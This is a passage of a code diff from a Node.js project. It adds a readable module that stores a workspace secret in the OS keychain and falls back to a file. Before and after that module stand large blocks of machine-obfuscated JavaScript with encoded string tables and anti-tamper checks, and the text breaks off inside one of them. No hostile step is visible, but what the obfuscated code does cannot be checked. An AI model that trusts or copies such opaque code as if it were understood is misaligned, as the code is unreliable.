3\x6b\x31\x44\x38\x6b\x71\x57\x36\x35\x6c\x57\x37\x46\x63\x54\x66\x74\x63\x53\x68\x62\x6a\x6e\x30\x43','\x71\x32\x66\x63\x57\x51\x4a\x64\x53\x47','\x57\x52\x6c\x63\x50\x76\x34\x36\x57\x35\x43','\x72\x38\x6f\x30\x57\x35\x6d\x51\x57\x4f\x53\x34\x77\x6d\x6f\x70','\x57\x34\x4a\x64\x56\x43\x6f\x31\x6c\x71\x64\x63\x4c\x43\x6b\x41\x6f\x61','\x57\x4f\x46\x63\x54\x43\x6f\x6a\x57\x4f\x42\x64\x51\x71','\x66\x6d\x6b\x62\x73\x4b\x38\x6d\x57\x52\x34\x53\x57\x37\x38','\x73\x59\x4e\x63\x4e\x53\x6b\x75\x71\x38\x6b\x75\x57\x51\x6e\x67','\x57\x51\x4a\x63\x4b\x43\x6f\x51\x57\x37\x78\x63\x4d\x43\x6f\x35\x45\x6d\x6f\x6a','\x42\x32\x44\x61\x57\x52\x6c\x64\x4e\x38\x6f\x31\x57\x52\x6d\x77','\x57\x34\x58\x7a\x73\x6d\x6f\x34\x57\x37\x4b','\x57\x34\x69\x67\x6e\x43\x6f\x7a\x75\x71','\x57\x37\x52\x64\x49\x43\x6b\x75','\x57\x4f\x33\x63\x52\x4d\x47\x6c\x57\x37\x37\x64\x54\x6d\x6f\x37\x57\x50\x79','\x72\x43\x6f\x63\x7a\x67\x58\x59\x57\x52\x68\x64\x4c\x4d\x53\x39\x6e\x38\x6b\x47\x77\x71\x57','\x77\x67\x35\x4e','\x57\x35\x7a\x53\x57\x52\x62\x4c\x57\x36\x70\x64\x51\x57\x66\x38','\x43\x43\x6f\x75\x41\x5a\x37\x63\x47\x38\x6f\x57\x6f\x72\x71','\x57\x50\x68\x63\x4f\x38\x6f\x4b\x57\x37\x2f\x63\x4b\x47','\x45\x4e\x50\x70\x6b\x53\x6f\x6e\x57\x4f\x4a\x64\x50\x43\x6b\x74\x44\x67\x5a\x63\x4e\x72\x4a\x64\x4c\x47','\x6d\x57\x30\x71\x43\x53\x6f\x6f','\x57\x51\x71\x6d\x76\x43\x6f\x6f\x72\x71','\x67\x43\x6b\x64\x78\x33\x43\x59','\x57\x34\x65\x6c\x57\x35\x75\x53\x57\x52\x44\x71\x6a\x38\x6b\x6a','\x75\x43\x6f\x55\x57\x52\x38\x51','\x57\x36\x31\x57\x45\x38\x6f\x4d\x57\x35\x4f\x6f\x57\x37\x34','\x66\x38\x6f\x44\x6d\x33\x6a\x74','\x57\x36\x4a\x64\x51\x38\x6b\x4a','\x6c\x62\x42\x64\x51\x71','\x57\x50\x46\x63\x50\x53\x6b\x2b\x57\x50\x2f\x63\x53\x63\x74\x64\x54\x65\x42\x64\x56\x38\x6f\x75\x62\x53\x6f\x66\x57\x52\x79','\x6b\x53\x6b\x4e\x57\x35\x78\x63\x4b\x32\x65','\x57\x35\x30\x4f\x62\x6d\x6f\x2b\x42\x47','\x69\x47\x6a\x37\x77\x43\x6b\x4f','\x57\x35\x68\x63\x4a\x73\x6a\x59','\x45\x30\x33\x63\x52\x38\x6f\x6b','\x6c\x62\x70\x64\x52\x78\x4c\x32\x73\x72\x31\x36','\x61\x43\x6b\x37\x57\x34\x42\x63\x4b\x76\x62\x66\x57\x4f\x42\x63\x53\x47','\x57\x36\x65\x50\x62\x6d\x6f\x46\x75\x71','\x46\x38\x6b\x44\x7a\x63\x74\x64\x4e\x6d\x6b\x7a\x71\x57','\x57\x34\x46\x64\x4d\x6d\x6b\x42\x57\x34\x7a\x50','\x64\x38\x6f\x65\x77\x5a\x42\x63\x4f\x6d\x6f\x48\x6a\x57','\x57\x51\x4c\x58\x63\x4b\x68\x64\x4f\x47\x79','\x57\x50\x4a\x63\x54\x30\x44\x56\x57\x37\x57\x4d\x57\x50\x70\x63\x4b\x57\x31\x74\x57\x4f\x78\x64\x54\x6d\x6f\x43\x57\x35\x4f','\x57\x50\x56\x64\x4e\x53\x6f\x69\x57\x50\x2f\x64\x51\x47','\x57\x51\x6d\x5a\x57\x37\x46\x64\x52\x32\x56\x63\x49\x31\x30\x6c','\x41\x38\x6f\x6f\x57\x50\x65\x54\x57\x52\x4b','\x62\x6d\x6b\x74\x69\x73\x30','\x57\x50\x68\x63\x47\x43\x6f\x53\x57\x50\x4e\x64\x4e\x31\x43\x56','\x62\x38\x6f\x56\x63\x43\x6f\x33\x57\x51\x4b','\x57\x52\x78\x64\x49\x38\x6f\x4e\x57\x4f\x68\x64\x4c\x53\x6f\x4c\x62\x6d\x6b\x70','\x57\x52\x72\x50\x57\x36\x54\x52\x57\x51\x53','\x57\x36\x38\x4e\x57\x36\x79\x33\x57\x50\x61','\x57\x50\x78\x64\x4c\x4d\x69\x4c\x6c\x43\x6f\x6c\x57\x34\x50\x61','\x76\x4c\x4c\x47\x6c\x38\x6b\x41\x6e\x65\x2f\x63\x4a\x38\x6f\x7a\x73\x6d\x6b\x61\x41\x6d\x6f\x51','\x57\x35\x64\x64\x56\x43\x6f\x79\x6a\x4a\x42\x63\x4c\x6d\x6b\x6d\x66\x61','\x57\x4f\x46\x64\x47\x38\x6f\x4d\x6d\x43\x6b\x54','\x68\x32\x2f\x63\x4b\x53\x6b\x54\x70\x61','\x6f\x47\x56\x64\x53\x6d\x6b\x73\x44\x4b\x5a\x63\x4c\x43\x6b\x65\x57\x51\x57\x6e\x57\x52\x4b\x37\x69\x61','\x6a\x6d\x6b\x50\x57\x4f\x50\x67\x57\x35\x43','\x57\x4f\x33\x63\x52\x4e\x30\x50\x57\x37\x5a\x64\x52\x57','\x64\x53\x6b\x50\x57\x4f\x39\x52','\x57\x4f\x6c\x64\x47\x32\x71\x4b\x70\x61','\x44\x38\x6f\x78\x57\x4f\x2f\x63\x52\x43\x6b\x72','\x78\x6d\x6f\x65\x46\x64\x37\x63\x4e\x38\x6f\x34\x70\x58\x71','\x57\x50\x53\x38\x57\x51\x64\x64\x54\x43\x6b\x34','\x62\x53\x6b\x62\x41\x31\x47\x42','\x57\x37\x46\x64\x54\x6d\x6f\x66\x57\x37\x33\x64\x54\x61','\x67\x68\x44\x4d\x76\x53\x6b\x5a\x57\x50\x33\x63\x56\x38\x6f\x56','\x57\x35\x52\x64\x4b\x53\x6f\x4a\x57\x37\x6c\x64\x51\x71','\x67\x38\x6f\x46\x67\x43\x6f\x53\x57\x52\x71'];_0xfcf0=function(){return _0x47ac84;};return _0xfcf0();}_0x3d7375[_0x22b68d(0xa7,'\x79\x37\x67\x7a')+_0x22b68d(0xe6,'\x4e\x29\x46\x36')]=_0x2e1b4f,_0x3d7375['\x67\x65\x74\x4d\x6f\x64\x65']=_0x27e296,_0x3d7375[_0x22b68d(0xc6,'\x4b\x40\x26\x48')+'\x6e']=_0x22370b,_0x3d7375[_0x22b68d(0xee,'\x45\x25\x4f\x34')+_0x22b68d(0xd3,'\x42\x61\x53\x4b')]=_0x54cb7b,_0x3d7375[_0x22b68d(0xf3,'\x41\x28\x62\x5d')+_0x22b68d(0xf1,'\x77\x35\x34\x46')]=_0xff425e,_0x3d7375[_0x22b68d(0xd2,'\x6e\x6b\x39\x26')+'\x72\x79\x45\x72\x72\x6f\x72']=_0xad197,module[_0x22b68d(0xdb,'\x6f\x67\x5a\x35')]=_0x3d7375;
1
+ // Keychain-backed workspace-id resolver (issue #111 Phase 1).
2
+ //
3
+ // Layered with paths.js#getWorkspaceId(). The current FS-only secret
4
+ // (`<workspace>/.evolver/workspace-id`, mode 0600) closes the *forgery*
5
+ // gap from PR #109 but leaves a *readability* gap: any process running
6
+ // under the same uid can still read the file and impersonate a workspace
7
+ // it does not own. This module gates that secret behind the OS keychain
8
+ // (macOS Keychain Services / libsecret on Linux / Windows Credential
9
+ // Manager) via the optional `@napi-rs/keyring` native addon.
10
+ //
11
+ // PLATFORM NOTES:
12
+ //
13
+ // macOS — backed by Keychain Services (Security.framework). Entries
14
+ // are encrypted by the OS and scoped to the user login session.
15
+ //
16
+ // Linux — backed by libsecret / GNOME Keyring (or the secret-service
17
+ // D-Bus protocol). Unavailable on headless servers without a
18
+ // D-Bus session; the addon load will succeed but getPassword()
19
+ // throws, causing `available: false` and transparent FS fallback.
20
+ //
21
+ // Windows — backed by Windows Credential Manager (CredRead/CredWrite via
22
+ // DPAPI-encrypted blobs). No extra installation needed when the
23
+ // @napi-rs/keyring addon is present. If the addon is absent (bun
24
+ // binary, stripped package, etc.) the resolver falls back to
25
+ // plaintext FS storage — see WINDOWS SECURITY NOTE below.
26
+ //
27
+ // WINDOWS SECURITY NOTE (fallback path):
28
+ // When @napi-rs/keyring is unavailable on Windows (addon load fails),
29
+ // getWorkspaceId() falls back to a plaintext file at
30
+ // <workspace>/.evolver/workspace-id. On Windows, mode 0o600 passed to
31
+ // fs.writeFileSync / fs.openSync is silently ignored, so the file is NOT
32
+ // restricted to the current user at the filesystem ACL level. The only
33
+ // isolation boundary is the Windows user-profile directory
34
+ // (%USERPROFILE%\.evolver or the workspace path), which is ACL-protected
35
+ // by default but grants access to the SYSTEM account and local Admins.
36
+ // This is weaker than the Unix 0o600 guarantee. Install @napi-rs/keyring
37
+ // or set EVOLVER_WORKSPACE_KEYCHAIN=force to surface the missing-addon
38
+ // error rather than silently degrade to FS.
39
+ //
40
+ // The keychain dep is OPTIONAL — if `require()` fails (addon missing,
41
+ // headless Linux without libsecret, bun-compiled binary that hasn't
42
+ // sideloaded `.node` yet), the resolver returns null and paths.js
43
+ // transparently falls back to the existing FS implementation. Behavior
44
+ // for *every* deployment that doesn't actively opt in stays identical
45
+ // to v1.85.x.
46
+ //
47
+ // Mode is controlled by `EVOLVER_WORKSPACE_KEYCHAIN`:
48
+ // - `auto` (default) — try keychain, fall back to FS on any failure.
49
+ // - `force` — keychain only; throw if unavailable. Use in
50
+ // CI to assert the addon is loaded.
51
+ // - `off` — skip keychain entirely; use FS path.
52
+ //
53
+ // Service / account naming:
54
+ // service = "evomap.evolver.workspace-id"
55
+ // account = absolute path to the workspace root
56
+ // The account is the workspace-root path because that's the natural
57
+ // identity boundary — multiple evolver installs sharing the same
58
+ // workspace root must resolve to the SAME secret (writer/reader parity,
59
+ // PR #109 round-1 MEDIUM).
60
+
61
+ const KEYCHAIN_SERVICE = 'evomap.evolver.workspace-id';
62
+
63
+ // 32 hex chars (16 random bytes) — same shape as the FS impl, kept
64
+ // strict so a legacy migration from FS into keychain validates cleanly.
65
+ const ID_RE = /^[a-f0-9]{32,}$/i;
66
+
67
+ let _cachedAddon = undefined; // undefined = not tried, null = failed, fn = ok
68
+
69
+ function loadAddon() {
70
+ if (_cachedAddon !== undefined) return _cachedAddon;
71
+ try {
72
+ // eslint-disable-next-line global-require
73
+ const mod = require('@napi-rs/keyring');
74
+ if (mod && typeof mod.Entry === 'function') {
75
+ // On Windows this uses the Credential Manager (DPAPI-backed) backend
76
+ // from keyring-rs — no extra setup required when the addon is present.
77
+ _cachedAddon = mod;
78
+ return _cachedAddon;
79
+ }
80
+ // Addon present but does not expose the expected Entry constructor —
81
+ // treat as unavailable; callers fall back to FS storage.
82
+ _cachedAddon = null;
83
+ return null;
84
+ } catch {
85
+ // Addon absent or failed to load (bun binary, stripped package, Windows
86
+ // without the prebuilt .node, etc.). On Windows this means Credential
87
+ // Manager is NOT used and the secret falls back to a plaintext file —
88
+ // see WINDOWS SECURITY NOTE at the top of this file.
89
+ _cachedAddon = null;
90
+ return null;
91
+ }
92
+ }
93
+
94
+ function getMode() {
95
+ const raw = String(process.env.EVOLVER_WORKSPACE_KEYCHAIN || 'auto').toLowerCase().trim();
96
+ if (raw === 'force' || raw === 'off' || raw === 'auto') return raw;
97
+ return 'auto';
98
+ }
99
+
100
+ // Patterns indicating a clean "entry not present" miss across the
101
+ // platform backends keyring-rs talks to:
102
+ // - Linux libsecret → "No matching entry found in secure storage"
103
+ // - macOS Keychain → "The specified item could not be found in the keychain"
104
+ // - Windows Cred Mgr → "Element not found"
105
+ // Anything else thrown by getPassword (locked keyring, no D-Bus, version
106
+ // mismatch, ambiguous entry, …) means the keychain itself isn't usable
107
+ // and MUST surface as `available: false` so callers — particularly
108
+ // `force` mode — can refuse to fall back to FS instead of silently
109
+ // papering over the failure (Bugbot PR #121 round-3 MEDIUM: dead code
110
+ // in force-mode unavailable path).
111
+ const NO_ENTRY_PATTERNS = [
112
+ /no\s+matching\s+entry/i, // libsecret
113
+ /could\s+not\s+be\s+found/i, // macOS
114
+ /element\s+not\s+found/i, // Windows
115
+ /\bnoentry\b/i, // keyring-rs NoEntry (CamelCase)
116
+ /\bno\s*entry\b/i, // generic spaced "no entry"
117
+ /not\s+found\s+in\s+(?:secure|keychain)/i,
118
+ ];
119
+
120
+ function _isNoEntryError(err) {
121
+ const msg = (err && err.message) || '';
122
+ return NO_ENTRY_PATTERNS.some((re) => re.test(msg));
123
+ }
124
+
125
+ // Read the secret for `account` from the OS keychain.
126
+ // Returns:
127
+ // { available: true, id: "<32-hex>" } on hit
128
+ // { available: true, id: null } on clean miss (NoEntry-class throw)
129
+ // { available: false, id: null } when the addon isn't loaded OR
130
+ // the keychain throws any non-
131
+ // NoEntry error (locked, no
132
+ // backend, version mismatch, …)
133
+ function readFromKeychain(account) {
134
+ const addon = loadAddon();
135
+ if (!addon) return { available: false, id: null };
136
+ try {
137
+ const entry = new addon.Entry(KEYCHAIN_SERVICE, account);
138
+ const raw = entry.getPassword();
139
+ if (typeof raw === 'string' && ID_RE.test(raw.trim())) {
140
+ return { available: true, id: raw.trim() };
141
+ }
142
+ // getPassword resolved with empty / non-hex — treat as miss; the
143
+ // keychain itself is responding so we stay "available".
144
+ return { available: true, id: null };
145
+ } catch (err) {
146
+ if (_isNoEntryError(err)) return { available: true, id: null };
147
+ return { available: false, id: null };
148
+ }
149
+ }
150
+
151
+ // Persist `id` for `account` in the OS keychain. Returns true on
152
+ // success, false on any failure (callers fall back to FS).
153
+ function writeToKeychain(account, id) {
154
+ const addon = loadAddon();
155
+ if (!addon) return false;
156
+ try {
157
+ const entry = new addon.Entry(KEYCHAIN_SERVICE, account);
158
+ entry.setPassword(id);
159
+ return true;
160
+ } catch {
161
+ return false;
162
+ }
163
+ }
164
+
165
+ module.exports = {
166
+ KEYCHAIN_SERVICE,
167
+ getMode,
168
+ loadAddon,
169
+ readFromKeychain,
170
+ writeToKeychain,
171
+ // Exported for test coverage of the NoEntry-vs-PlatformFailure
172
+ // discrimination (Bugbot PR #121 round-3 MEDIUM).
173
+ _isNoEntryError,
174
+ };
@@ -1 +1,99 @@
1
- function _0x4b7c(_0x10cdc4,_0x521861){_0x10cdc4=_0x10cdc4-(-0x96a*-0x3+-0x24b+-0x1948);const _0x51abec=_0x2633();let _0x259f5b=_0x51abec[_0x10cdc4];if(_0x4b7c['\x71\x68\x74\x45\x59\x46']===undefined){var _0x302239=function(_0x425f62){const _0x2f3e3d='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x5a3561='',_0xf8cab6='',_0x23dda2=_0x5a3561+_0x302239,_0x17724d=(''+function(){return 0x16c7+0x19*0xd0+-0x2b17*0x1;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(0x14*0x1b9+-0xe54+-0x6b5*0x3);for(let _0x35b043=0x16fe+0x193d+-0x303b,_0x8ec13f,_0x4f2a73,_0x202da5=0x11e9+0x6b*-0x47+0x3*0x3ec;_0x4f2a73=_0x425f62['\x63\x68\x61\x72\x41\x74'](_0x202da5++);~_0x4f2a73&&(_0x8ec13f=_0x35b043%(0x1*-0x4d5+0x77b+0x2*-0x151)?_0x8ec13f*(0x12fd+-0x2*-0x80+-0x13bd)+_0x4f2a73:_0x4f2a73,_0x35b043++%(0x329*-0x2+-0x1d*-0x130+-0x16*0x147))?_0x5a3561+=_0x17724d||_0x23dda2['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x202da5+(-0xa86+-0xacc+0x2*0xaae))-(0x116f*0x1+-0x1675*-0x1+-0x2*0x13ed)!==-0x2434+-0x123b+0x366f?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x110d+-0x8f4*-0x2+0x24&_0x8ec13f>>(-(-0x96*0x2e+0x4f*-0x35+-0x2b51*-0x1)*_0x35b043&0x1*0x118e+-0x4*-0x418+-0x7*0x4d8)):_0x35b043:-0x14*-0x9b+-0x13d6+0x7ba){_0x4f2a73=_0x2f3e3d['\x69\x6e\x64\x65\x78\x4f\x66'](_0x4f2a73);}for(let _0xed4fcb=0x397+0x1*0x1064+-0x13fb,_0x4a3c5f=_0x5a3561['\x6c\x65\x6e\x67\x74\x68'];_0xed4fcb<_0x4a3c5f;_0xed4fcb++){_0xf8cab6+='\x25'+('\x30\x30'+_0x5a3561['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0xed4fcb)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0x1e73*0x1+-0x487*-0x2+0x727*0x3))['\x73\x6c\x69\x63\x65'](-(-0xaf6*0x2+0x1*0x7+0x15e7));}return decodeURIComponent(_0xf8cab6);};const _0x38078f=function(_0x32fd61,_0x53f3ea){let _0x5101eb=[],_0x5c37f4=-0x3a1*0x4+0x5*-0x10d+0x1*0x13c5,_0x3120ca,_0x2e74a9='';_0x32fd61=_0x302239(_0x32fd61);let _0x40e0da;for(_0x40e0da=-0x4a8*-0x6+-0xa*0x247+0x1*-0x52a;_0x40e0da<0x3*-0x956+0x1f6+0x482*0x6;_0x40e0da++){_0x5101eb[_0x40e0da]=_0x40e0da;}for(_0x40e0da=0x31*-0x46+0x1*0x2665+-0x18ff;_0x40e0da<-0x25bf+0xe3*0x7+0x208a;_0x40e0da++){_0x5c37f4=(_0x5c37f4+_0x5101eb[_0x40e0da]+_0x53f3ea['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x40e0da%_0x53f3ea['\x6c\x65\x6e\x67\x74\x68']))%(0x6fd+-0xbc3*-0x1+0x10*-0x11c),_0x3120ca=_0x5101eb[_0x40e0da],_0x5101eb[_0x40e0da]=_0x5101eb[_0x5c37f4],_0x5101eb[_0x5c37f4]=_0x3120ca;}_0x40e0da=0x2585*-0x1+0x12fd+-0x944*-0x2,_0x5c37f4=-0x197c+0x8aa+0x1*0x10d2;for(let _0x4a3d9c=-0x22e6+-0xd03*0x1+0x1*0x2fe9;_0x4a3d9c<_0x32fd61['\x6c\x65\x6e\x67\x74\x68'];_0x4a3d9c++){_0x40e0da=(_0x40e0da+(0x3*-0x9fe+-0x1fcc+0x3dc7))%(0xfc6+-0x2*0x1ff+-0xac8),_0x5c37f4=(_0x5c37f4+_0x5101eb[_0x40e0da])%(-0x6b4*0x4+-0x137+0x1d07),_0x3120ca=_0x5101eb[_0x40e0da],_0x5101eb[_0x40e0da]=_0x5101eb[_0x5c37f4],_0x5101eb[_0x5c37f4]=_0x3120ca,_0x2e74a9+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x32fd61['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x4a3d9c)^_0x5101eb[(_0x5101eb[_0x40e0da]+_0x5101eb[_0x5c37f4])%(-0xf2*0x2+0x717+-0x433)]);}return _0x2e74a9;};_0x4b7c['\x5a\x43\x6d\x62\x54\x41']=_0x38078f,_0x4b7c['\x53\x78\x56\x5a\x48\x6a']={},_0x4b7c['\x71\x68\x74\x45\x59\x46']=!![];}const _0x349a51=_0x51abec[0x1383+0x1892+0x1*-0x2c15],_0x53f888=_0x10cdc4+_0x349a51,_0x3d0669=_0x4b7c['\x53\x78\x56\x5a\x48\x6a'][_0x53f888];if(!_0x3d0669){if(_0x4b7c['\x6b\x44\x50\x52\x73\x71']===undefined){const _0x2c303a=function(_0x15e875){this['\x64\x55\x6d\x7a\x59\x59']=_0x15e875,this['\x6d\x64\x6d\x6a\x76\x6d']=[0x149e+-0x3*-0x7a5+-0x4*0xae3,0x186*0x17+-0x22c+0x7*-0x4b2,0x13*-0x41+-0x1*-0xc56+-0x783],this['\x78\x75\x61\x4b\x50\x6c']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x6d\x6b\x67\x72\x68\x51']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x64\x44\x57\x4b\x41\x4a']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x2c303a['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x56\x41\x63\x62\x53\x6e']=function(){const _0x1193ba=new RegExp(this['\x6d\x6b\x67\x72\x68\x51']+this['\x64\x44\x57\x4b\x41\x4a']),_0x1ecc31=_0x1193ba['\x74\x65\x73\x74'](this['\x78\x75\x61\x4b\x50\x6c']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x6d\x64\x6d\x6a\x76\x6d'][0x19e3+0x6fd*0x1+0xaf5*-0x3]:--this['\x6d\x64\x6d\x6a\x76\x6d'][-0x4*0x569+0x1686+-0x71*0x2];return this['\x6c\x68\x75\x61\x52\x42'](_0x1ecc31);},_0x2c303a['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x6c\x68\x75\x61\x52\x42']=function(_0x2f7f81){if(!Boolean(~_0x2f7f81))return _0x2f7f81;return this['\x55\x6c\x66\x7a\x4a\x70'](this['\x64\x55\x6d\x7a\x59\x59']);},_0x2c303a['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x55\x6c\x66\x7a\x4a\x70']=function(_0x495884){for(let _0x2d9a52=-0x13*-0x1c9+-0xd*0x263+-0x2e4,_0x169c7e=this['\x6d\x64\x6d\x6a\x76\x6d']['\x6c\x65\x6e\x67\x74\x68'];_0x2d9a52<_0x169c7e;_0x2d9a52++){this['\x6d\x64\x6d\x6a\x76\x6d']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x169c7e=this['\x6d\x64\x6d\x6a\x76\x6d']['\x6c\x65\x6e\x67\x74\x68'];}return _0x495884(this['\x6d\x64\x6d\x6a\x76\x6d'][0xd56+-0x1965+0xc0f]);},(''+function(){return 0x13ea+-0x9*0x1cb+-0x3c7;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(-0x202d*0x1+-0x1a1e+0x3a4c)&&new _0x2c303a(_0x4b7c)['\x56\x41\x63\x62\x53\x6e'](),_0x4b7c['\x6b\x44\x50\x52\x73\x71']=!![];}_0x259f5b=_0x4b7c['\x5a\x43\x6d\x62\x54\x41'](_0x259f5b,_0x521861),_0x4b7c['\x53\x78\x56\x5a\x48\x6a'][_0x53f888]=_0x259f5b;}else _0x259f5b=_0x3d0669;return _0x259f5b;}const _0x38d030=_0x4b7c;(function(_0x4d7d75,_0x287f25){const _0x526b22=_0x4b7c,_0x4e4dc3=_0x4d7d75();while(!![]){try{const _0x3ed96e=parseInt(_0x526b22(0xfd,'\x6c\x4a\x24\x58'))/(0x1d5e+0x293+-0x1ff0)+parseInt(_0x526b22(0x1f7,'\x37\x79\x43\x5a'))/(-0x1132+0x2263+0x1*-0x112f)*(parseInt(_0x526b22(0x1c0,'\x55\x5d\x76\x5d'))/(0x1*-0x1eab+0x1*0xc0d+0x12a1))+parseInt(_0x526b22(0xc5,'\x73\x33\x39\x29'))/(-0x1bf*0x7+0x4*0x265+0x2a9)+-parseInt(_0x526b22(0xe6,'\x59\x37\x46\x5b'))/(0x602+-0x577*0x4+0x1*0xfdf)*(-parseInt(_0x526b22(0xe9,'\x6f\x4e\x56\x46'))/(0x1*-0x21d5+-0x2*-0x1115+-0x4f))+-parseInt(_0x526b22(0x1d2,'\x31\x49\x72\x4a'))/(0x2183+-0x81*0x1d+-0x12df)+parseInt(_0x526b22(0x192,'\x44\x29\x4f\x36'))/(-0x1aeb*0x1+-0x12*0x20b+-0x5cb*-0xb)*(-parseInt(_0x526b22(0x13e,'\x59\x37\x46\x5b'))/(-0x3*0x66a+0xdf5+0x552))+-parseInt(_0x526b22(0x1f1,'\x55\x5d\x76\x5d'))/(-0x163*0xc+-0x57b*0x5+0x2c15)*(parseInt(_0x526b22(0x181,'\x54\x6a\x39\x4c'))/(0x575+-0x18e7+0x137d));if(_0x3ed96e===_0x287f25)break;else _0x4e4dc3['push'](_0x4e4dc3['shift']());}catch(_0x10d447){_0x4e4dc3['push'](_0x4e4dc3['shift']());}}}(_0x2633,0x1dd78+0x15808+-0xbccb));const _0x524741=(function(){const _0x228c09=_0x4b7c,_0x16c781={};_0x16c781[_0x228c09(0xd2,'\x37\x79\x43\x5a')]=function(_0x218447,_0x587f02){return _0x218447!==_0x587f02;},_0x16c781[_0x228c09(0x1e6,'\x6e\x48\x38\x5d')]=function(_0x5dcc21,_0x4b84e0){return _0x5dcc21===_0x4b84e0;},_0x16c781[_0x228c09(0x1e1,'\x56\x31\x30\x75')]=_0x228c09(0x10d,'\x74\x59\x6d\x53');const _0x1f486a=_0x16c781;let _0x3e30ef=!![];return function(_0x3346cf,_0x34861b){const _0xc642a7=_0x228c09,_0x1c09e4={'\x45\x73\x4e\x50\x4e':function(_0x48e356,_0x2cbba6){const _0xa3f1d2=_0x4b7c;return _0x1f486a[_0xa3f1d2(0xed,'\x6a\x4c\x32\x66')](_0x48e356,_0x2cbba6);},'\x41\x76\x68\x47\x6c':_0xc642a7(0x16c,'\x44\x29\x4f\x36')};if(_0x1f486a[_0xc642a7(0x1ba,'\x39\x73\x51\x51')](_0x1f486a[_0xc642a7(0x14d,'\x59\x37\x46\x5b')],_0xc642a7(0x12e,'\x30\x6e\x41\x35')))this[_0xc642a7(0x1e3,'\x34\x64\x31\x41')][_0xc642a7(0xdc,'\x5a\x35\x52\x44')]?.(_0xc642a7(0x11d,'\x54\x6f\x7a\x37')+_0xc642a7(0xb8,'\x4b\x69\x6f\x41')+_0xc642a7(0x196,'\x30\x6e\x41\x35')+_0xc642a7(0x193,'\x73\x33\x39\x29')+_0xc642a7(0xb5,'\x59\x4e\x42\x50')+_0xc642a7(0x164,'\x39\x73\x51\x51')+_0xc642a7(0x178,'\x68\x24\x57\x63')+_0xc642a7(0x19b,'\x4b\x46\x5d\x65')+_0xc642a7(0x136,'\x31\x49\x72\x4a')+_0xc642a7(0xd3,'\x34\x64\x31\x41')+_0xc642a7(0xc0,'\x45\x59\x44\x28')+_0xc642a7(0x1fe,'\x56\x31\x30\x75'));else{const _0x395ea8=_0x3e30ef?function(){const _0x3b3ebf=_0xc642a7;if(_0x34861b){if(_0x1c09e4['\x45\x73\x4e\x50\x4e'](_0x3b3ebf(0x16f,'\x59\x4e\x42\x50'),_0x1c09e4[_0x3b3ebf(0xff,'\x44\x29\x4f\x36')]))this[_0x3b3ebf(0x1d6,'\x74\x59\x6d\x53')][_0x3b3ebf(0x19f,'\x54\x6a\x39\x4c')](_0x48cfd4['\x69\x64']);else{const _0xa64a56=_0x34861b[_0x3b3ebf(0x176,'\x6b\x4f\x2a\x39')](_0x3346cf,arguments);return _0x34861b=null,_0xa64a56;}}}:function(){};return _0x3e30ef=![],_0x395ea8;}};}()),_0x5b51cf=_0x524741(this,function(){const _0x519eab=_0x4b7c,_0x219908={};_0x219908[_0x519eab(0x154,'\x66\x74\x21\x32')]=_0x519eab(0x1ff,'\x5b\x43\x56\x44')+'\x2b\x29\x2b\x24';const _0x581add=_0x219908;return _0x5b51cf[_0x519eab(0x1be,'\x25\x59\x4d\x24')]()[_0x519eab(0x13d,'\x24\x6b\x6c\x50')](_0x581add[_0x519eab(0x18c,'\x71\x68\x37\x26')])[_0x519eab(0x122,'\x42\x24\x78\x5b')]()[_0x519eab(0x1a4,'\x39\x73\x51\x51')+_0x519eab(0x1c3,'\x42\x24\x78\x5b')](_0x5b51cf)[_0x519eab(0x1a2,'\x5a\x35\x52\x44')](_0x519eab(0x1c4,'\x68\x24\x57\x63')+_0x519eab(0x13a,'\x34\x64\x31\x41'));});function _0x2633(){const _0x530c31=['\x66\x4b\x52\x63\x4d\x38\x6f\x73','\x65\x43\x6f\x56\x57\x35\x43\x75\x6d\x47','\x57\x50\x42\x64\x51\x74\x6c\x64\x47\x43\x6b\x58\x6b\x4b\x6a\x33','\x57\x36\x61\x30\x57\x4f\x66\x6a\x57\x37\x6e\x32\x57\x50\x5a\x63\x54\x47','\x42\x6d\x6f\x4b\x57\x34\x48\x6f\x57\x36\x79','\x57\x34\x5a\x63\x53\x43\x6f\x44\x57\x4f\x48\x45\x6c\x61','\x57\x35\x52\x63\x49\x47\x58\x50\x68\x43\x6b\x50\x70\x43\x6f\x42','\x57\x35\x74\x63\x49\x71\x7a\x4d\x64\x6d\x6b\x48\x70\x6d\x6b\x76','\x71\x53\x6b\x4e\x57\x51\x2f\x64\x4f\x43\x6f\x52\x72\x61','\x57\x36\x4f\x6b\x62\x6d\x6b\x67\x73\x6d\x6b\x2b\x57\x52\x33\x64\x4b\x61','\x41\x6d\x6b\x37\x57\x34\x31\x50\x57\x36\x6d','\x63\x6d\x6f\x51\x57\x51\x72\x48\x57\x52\x4b\x41\x57\x35\x4e\x63\x47\x61','\x75\x6d\x6f\x63\x6d\x53\x6f\x31\x44\x47','\x6d\x4e\x37\x64\x56\x6d\x6f\x36\x57\x34\x57','\x57\x36\x66\x70\x57\x